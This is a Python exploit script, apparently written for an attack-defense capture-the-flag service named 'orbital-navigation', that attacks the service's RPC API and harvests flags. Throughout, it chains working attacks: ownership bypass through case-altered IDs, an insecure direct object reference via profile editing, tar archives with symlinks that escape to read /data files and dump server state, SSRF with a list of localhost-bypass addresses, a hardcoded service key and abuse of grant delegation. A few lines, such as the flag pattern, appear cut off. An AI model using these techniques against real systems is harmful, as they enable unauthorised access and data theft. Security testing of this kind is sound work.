#!/usr/bin/env python3 from __future__ import annotations import hashlib import io import json import os import re import sys import tarfile import tempfile import time from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait from pathlib import Path from urllib.error import HTTPError, URLError from urllib.parse import quote, unquote, urlsplit, urlunsplit from urllib.request import Request, urlopen TARGET_SCHEME = "http" SERVICE_PORT = 8086 REQUEST_TIMEOUT = 2.0 MAX_RESPONSE = 8 * 1024 * 1024 MAX_STATE_RESPONSE = 64 * 1024 * 1024 MAX_OBJECTS = 6 MAX_STATE_FLIGHTS = 512 TOTAL_RUNTIME = 7.0 IMPORTER_KEY = "orbit-importer-service-key" ID_PATTERN = re.compile( r"\b(?:ship|flight|summary|grant)-[0-9a-f]{32}\b", re.IGNORECASE ) CONTEXT_PATTERNS = { "token": re.compile(r"token-[0-9a-f]{32}\Z"), "ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"), "profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"), "flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"), "package_id": re.compile(r"package-[0-9a-f]{32}\Z"), } TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE) FLAG_PATTERN = re.compile(r"(? tuple[str, str]: raw = target.strip() if not raw: raise ValueError("empty target") address, separator, encoded_hint = raw.partition("#") hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "") if not address: raise ValueError("empty target address") explicit_scheme = "://" in address if not explicit_scheme: authority = f"[{address}]" if address.count(":") > 1 and not address.startswith("[") else address address = f"{TARGET_SCHEME}://{authority}" parsed = urlsplit(address) if parsed.scheme not in {"http", "https"} or not parsed.hostname: raise ValueError("expected an HTTP target") if parsed.username or parsed.password or parsed.path not in {"", "/"}: raise ValueError("target must not include credentials or a path") if parsed.query or parsed.fragment: raise ValueError("target address must not include query or fragment") port = parsed.port if port is None: port = 443 if parsed.scheme == "https" else SERVICE_PORT if not 1 <= port <= 65535: raise ValueError("invalid target port") host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint def request( base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None, max_response: int = MAX_RESPONSE, ) -> tuple[int, bytes]: request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"} if headers: request_headers.update(headers) req = Request(base + path, data=body, headers=request_headers, method=method) try: with urlopen(req, timeout=REQUEST_TIMEOUT) as response: data = response.read(max_response + 1) if len(data) > max_response: raise ValueError("response too large") return response.status, data except HTTPError as exc: return exc.code, exc.read(max_response) def rpc(base: str, action: str, _response_limit: int = MAX_RESPONSE, **fields): payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode() status, raw = request( base, "/rpc", method="POST", body=payload, headers={"Content-Type": "application/json"}, max_response=_response_limit, ) try: document = json.loads(raw) except (TypeError, ValueError) as exc: raise ExploitError(f"{action}: invalid response") from exc if status != 200 or not document.get("ok"): raise ExploitError(f"{action}: {document.get('error', f'HTTP {status}')}") return document.get("result") def register(base: str) -> str: result = rpc(base, "register") token = result.get("token") if isinstance(result, dict) else None if not isinstance(token, str): raise ExploitError("register: missing token") return token def source_aliases(ship_id: str): yielded = set() candidates = [ship_id.upper(), ship_id.swapcase()] letters = [index for index, value in enumerate(ship_id) if value.isalpha()] seed = hashlib.sha256(ship_id.encode()).digest() for attempt in range(16): chars = list(ship_id) for offset, index in enumerate(letters): if seed[(attempt + offset) % len(seed)] & (1 << (attempt % 8)): chars[index] = chars[index].upper() candidates.append("".join(chars)) for candidate in candidates: if candidate != ship_id and candidate not in yielded: yielded.add(candidate) yield candidate def exploit_ship(base: str, ship_id: str) -> list[str]: token = register(base) for source_id in source_aliases(ship_id): try: rpc(base, "bind_source", token=token, source_id=source_id) result = rpc(base, "read_source_messages", token=token, source_id=source_id) messages = result.get("messages", []) if isinstance(result, dict) else [] return [item for item in messages if isinstance(item, str)] except ExploitError: continue own_ship = rpc(base, "create_ship", token=token)["ship_id"] profile = rpc(base, "create_profile", token=token, ship_id=own_ship)["profile_id"] job = rpc(base, "create_export", token=token, profile_id=profile)["job_id"] rpc(base, "edit_profile", token=token, profile_id=profile, ship_id=ship_id) result = rpc(base, "run_export", token=token, job_id=job) messages = result.get("messages", []) if isinstance(result, dict) else [] return [item for item in messages if isinstance(item, str)] def regular_tar(name: str, content: bytes) -> bytes: output = io.BytesIO() with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive: entry = tarfile.TarInfo(name) entry.size = len(content) archive.addfile(entry, io.BytesIO(content)) return output.getvalue() def symlink_tar(name: str, target: str) -> bytes: output = io.BytesIO() with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive: entry = tarfile.TarInfo(name) entry.type = tarfile.SYMTYPE entry.linkname = target archive.addfile(entry) return output.getvalue() def state_dump_tar(flight_id: str) -> bytes: output = io.BytesIO() with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive: escape = tarfile.TarInfo("escape") escape.type = tarfile.SYMTYPE escape.linkname = "/data" archive.addfile(escape) state_link = tarfile.TarInfo("escape/state.json.tmp") state_link.type = tarfile.SYMTYPE state_link.linkname = f"/data/navigation/{flight_id}.txt" archive.addfile(state_link) report = b"ok" entry = tarfile.TarInfo("report.txt") entry.size = len(report) archive.addfile(entry, io.BytesIO(report)) return output.getvalue() def context_path(base: str) -> Path: configured = os.environ.get("ORBITAL_STATE_DIR") root = ( Path(configured) if configured else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2" ) if os.name == "nt": root.mkdir(parents=True, exist_ok=True) else: root.mkdir(mode=0o700, parents=True, exist_ok=True) root.chmod(0o700) name = hashlib.sha256(base.encode()).hexdigest() + ".json" return root / name def valid_context(document, base: str) -> bool: return ( isinstance(document, dict) and document.get("base") == base and all( isinstance(document.get(key), str) and pattern.fullmatch(document[key]) for key, pattern in CONTEXT_PATTERNS.items() ) ) def load_context(base: str): try: document = json.loads(context_path(base).read_text(encoding="utf-8")) except (OSError, ValueError): return None return document if valid_context(document, base) else None def save_context(base: str, context) -> None: path = context_path(base) document = {"base": base, **context} temporary = None try: with tempfile.NamedTemporaryFile( mode="w", encoding="utf-8", dir=path.parent, prefix=path.name + ".", delete=False, ) as handle: temporary = Path(handle.name) json.dump(document, handle, separators=(",", ":")) if os.name != "nt": temporary.chmod(0o600) os.replace(temporary, path) finally: if temporary is not None: try: temporary.unlink() except OSError: pass def discard_context(base: str) -> None: try: context_path(base).unlink() except OSError: pass def create_host_context(base: str): token = register(base) ship_id = rpc(base, "create_ship", token=token)["ship_id"] profile_id = rpc(base, "create_profile", token=token, ship_id=ship_id)["profile_id"] flight_id = rpc( base, "create_flight", token=token, geometry=STATE_DUMP_MARKER, map_version=STATE_DUMP_MARKER, options=STATE_DUMP_MARKER, manifest=STATE_DUMP_MARKER, navigation=STATE_DUMP_MARKER, )["flight_id"] package_id = rpc(base, "create_package", token=token)["package_id"] context = { "token": token, "ship_id": ship_id, "profile_id": profile_id, "flight_id": flight_id, "package_id": package_id, } try: save_context(base, context) except OSError as exc: print(f"state cache unavailable: {exc}", file=sys.stderr) return context def trigger_persist(base: str, context) -> None: rpc( base, "edit_profile", token=context["token"], profile_id=context["profile_id"], ship_id=context["ship_id"], ) def dump_state(base: str, context) -> str: upload_package( base, context["package_id"], context["token"], regular_tar("report.txt", b"approved"), ) rpc(base, "approve_package", token=context["token"], package_id=context["package_id"]) upload_package( base, context["package_id"], context["token"], state_dump_tar(context["flight_id"]), ) restore_needed = True try: try: rpc( base, "generate_report", token=context["token"], package_id=context["package_id"], attachment="report.txt", ) except ExploitError as exc: # These checks reject the package before extracting the symlink. if "package not approved" in str(exc) or "unsafe package" in str(exc): restore_needed = False raise # The first persist copies state into our navigation file. The second # immediately replaces state.json with a regular file. Read the copy # only after both writes, keeping the symlink window as short as possible. trigger_persist(base, context) trigger_persist(base, context) restore_needed = False result = rpc( base, "read_navigation", _response_limit=MAX_STATE_RESPONSE, token=context["token"], flight_id=context["flight_id"], ) navigation = result.get("navigation") if isinstance(result, dict) else None if not isinstance(navigation, str): raise ExploitError("state dump: missing navigation") return navigation finally: if restore_needed: # An ambiguous timeout may occur before the first write is handled. # In that case one successful write copies state through the link; # the next successful write is needed to replace the link itself. confirmed = 0 for attempt in range(5): try: trigger_persist(base, context) confirmed += 1 if confirmed == 2: break except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr) if confirmed < 2: raise ExploitError("state persistence cleanup not confirmed") def state_payloads(state) -> list[str]: values: list[str] = [] messages = state.get("messages", {}) if isinstance(messages, dict): for items in messages.values(): if isinstance(items, list): values.extend(item for item in items if isinstance(item, str)) jobs = state.get("jobs", {}) if isinstance(jobs, dict): for job in jobs.values(): result = job.get("result") if isinstance(job, dict) else None if isinstance(result, list): values.extend(item for item in result if isinstance(item, str)) flights = state.get("flights", {}) if isinstance(flights, dict): for flight in flights.values(): if not isinstance(flight, dict): continue for key in ("geometry", "map_version", "options", "manifest"): value = flight.get(key) if isinstance(value, str): values.append(value) summaries = state.get("summaries", {}) if isinstance(summaries, dict): for summary in summaries.values(): content = summary.get("content") if isinstance(summary, dict) else None if isinstance(content, str): values.append(content) imports = state.get("imports", {}) if isinstance(imports, dict): for item in imports.values(): if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str): values.append(item[1]) return values def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None: result = rpc(base, "read_navigation", token=token, flight_id=flight_id) navigation = result.get("navigation") if isinstance(result, dict) else None return navigation if isinstance(navigation, str) else None def exploit_host_only(base: str, deadline: float) -> list[str]: context = load_context(base) if context is None: context = create_host_context(base) try: raw_state = dump_state(base, context) except ExploitError as exc: stale_markers = ( "invalid token", "unknown ship", "unknown profile", "unknown flight", "unknown package", ) if not any(marker in str(exc) for marker in stale_markers): raise discard_context(base) context = create_host_context(base) raw_state = dump_state(base, context) try: state = json.loads(raw_state) except ValueError as exc: raise ExploitError("state dump: invalid JSON") from exc if not isinstance(state, dict): raise ExploitError("state dump: invalid state") loot = state_payloads(state) users = state.get("users", {}) flights = state.get("flights", {}) owner_tokens = {} if isinstance(users, dict): for token, owner in users.items(): if isinstance(token, str) and isinstance(owner, str): owner_tokens.setdefault(owner, token) known_flights = set(context.get("known_flights", [])) read_flights = set(context.get("read_flights", [])) candidates: list[tuple[int, str, str]] = [] if isinstance(flights, dict): for flight_id, flight in flights.items(): if not isinstance(flight_id, str) or not isinstance(flight, dict): continue if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER: continue if flight_id in read_flights: continue token = owner_tokens.get(flight.get("owner")) if not isinstance(token, str): continue candidates.append((0 if flight_id not in known_flights else 1, flight_id, token)) candidates.sort(key=lambda item: item[0]) checked = 0 pending = {} candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS]) with ThreadPoolExecutor(max_workers=4) as pool: while time.monotonic() < deadline: while len(pending) < 4 and time.monotonic() < deadline: try: _, flight_id, token = next(candidate_iter) except StopIteration: break pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id checked += 1 if not pending: break done, _ = wait( pending, timeout=max(0.0, deadline - time.monotonic()), return_when=FIRST_COMPLETED, ) if not done: break for future in done: flight_id = pending.pop(future) try: navigation = future.result() except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError): continue if navigation is None: continue read_flights.add(flight_id) try: nested_state = json.loads(navigation) except ValueError: nested_state = None state_keys = {"users", "ships", "messages", "flights", "packages"} if isinstance(nested_state, dict) and state_keys.issubset(nested_state): loot.extend(state_payloads(nested_state)) else: loot.append(navigation) for future in pending: future.cancel() if isinstance(flights, dict): context["known_flights"] = list(flights) context["read_flights"] = list(read_flights.intersection(flights)) try: save_context(base, context) except OSError as exc: print(f"state cache unavailable: {exc}", file=sys.stderr) print(f"state dump navigation reads: {checked}", file=sys.stderr) sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item) return list(dict.fromkeys(item for item in sanitized if item)) def upload_package(base: str, package_id: str, token: str, content: bytes) -> None: status, raw = request( base, f"/packages/{quote(package_id, safe='')}/content", method="PUT", body=content, headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"}, ) try: document = json.loads(raw) except (TypeError, ValueError) as exc: raise ExploitError("package upload: invalid response") from exc if status != 200 or not document.get("ok"): raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}") def exploit_flight_cache(base: str, flight_id: str) -> list[str]: token = register(base) public = rpc(base, "flight_public", token=token, flight_id=flight_id) marker = "orbital-probe-" + hashlib.sha256(flight_id.encode()).hexdigest() own = rpc( base, "create_flight", token=token, geometry=public["geometry"], map_version=public["map_version"], options=public["options"], manifest=marker, navigation=marker, )["flight_id"] report = rpc(base, "report", token=token, flight_id=own) manifest = report.get("manifest") if isinstance(report, dict) else None if isinstance(manifest, str) and manifest != marker: return [manifest] return [] def exploit_flight_navigation(base: str, flight_id: str) -> list[str]: token = register(base) package_id = rpc(base, "create_package", token=token)["package_id"] upload_package(base, package_id, token, regular_tar("report.txt", b"approved")) rpc(base, "approve_package", token=token, package_id=package_id) upload_package( base, package_id, token, symlink_tar("report.txt", f"/data/navigation/{flight_id}.txt"), ) generated = rpc(base, "generate_report", token=token, package_id=package_id, attachment="report.txt") navigation = generated.get("report") if isinstance(generated, dict) else None return [navigation] if isinstance(navigation, str) else [] def exploit_summary(base: str, summary_id: str) -> list[str]: path = f"/internal/summaries/{quote(summary_id, safe='')}" status, raw = request(base, path, headers={"X-Importer-Key": IMPORTER_KEY}) if status == 200: return [raw.decode("utf-8", errors="replace")] token = register(base) last_error = None for internal_host in ( "0.0.0.0", "0", "0000", "0x0", "::ffff:127.0.0.1", "::ffff:7f00:1", "::ffff:0.0.0.0", ): try: result = rpc( base, "import_bulletin", token=token, url=f"http://{internal_host}:8080{path}", ) content = result.get("content") if isinstance(result, dict) else None if isinstance(content, str): return [content] except ExploitError as exc: last_error = exc if last_error: raise last_error return [] def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]: token = register(base) child = rpc( base, "delegate", token=token, parent_id=grant_id, rights=["manifest.read"], expires=(1 << 63) - 1, )["grant_id"] for flight_id in flight_ids: try: result = rpc(base, "read_manifest", token=token, flight_id=flight_id, grant_id=child) manifest = result.get("manifest") if isinstance(result, dict) else None if isinstance(manifest, str): return [manifest] except ExploitError: continue return [] def run_exploit(target: str) -> list[str]: started = time.monotonic() base, hint = parse_target(target) identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint))) if not identifiers: return exploit_host_only(base, started + TOTAL_RUNTIME) ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS] flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS] summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS] grants = [value for value in identifiers if value.startswith("grant-")][:MAX_OBJECTS] loot: list[str] = [] for ship_id in ships: try: loot.extend(exploit_ship(base, ship_id)) except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"ship {ship_id}: {exc}", file=sys.stderr) for flight_id in flights: try: loot.extend(exploit_flight_cache(base, flight_id)) except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"flight cache {flight_id}: {exc}", file=sys.stderr) try: loot.extend(exploit_flight_navigation(base, flight_id)) except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"flight navigation {flight_id}: {exc}", file=sys.stderr) for summary_id in summaries: try: loot.extend(exploit_summary(base, summary_id)) except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"summary {summary_id}: {exc}", file=sys.stderr) if flights and grants: for grant_id in grants: try: loot.extend(exploit_grant(base, flights, grant_id)) except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"grant {grant_id}: {exc}", file=sys.stderr) return list(dict.fromkeys(item for item in loot if item)) def main() -> int: if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr) return 2 try: loot = run_exploit(sys.argv[1]) except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"request failed: {exc}", file=sys.stderr) return 1 flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)}) for flag in flags: print(flag, flush=True) print(f"collected flags: {len(flags)}", file=sys.stderr) return 0 if __name__ == "__main__": raise SystemExit(main())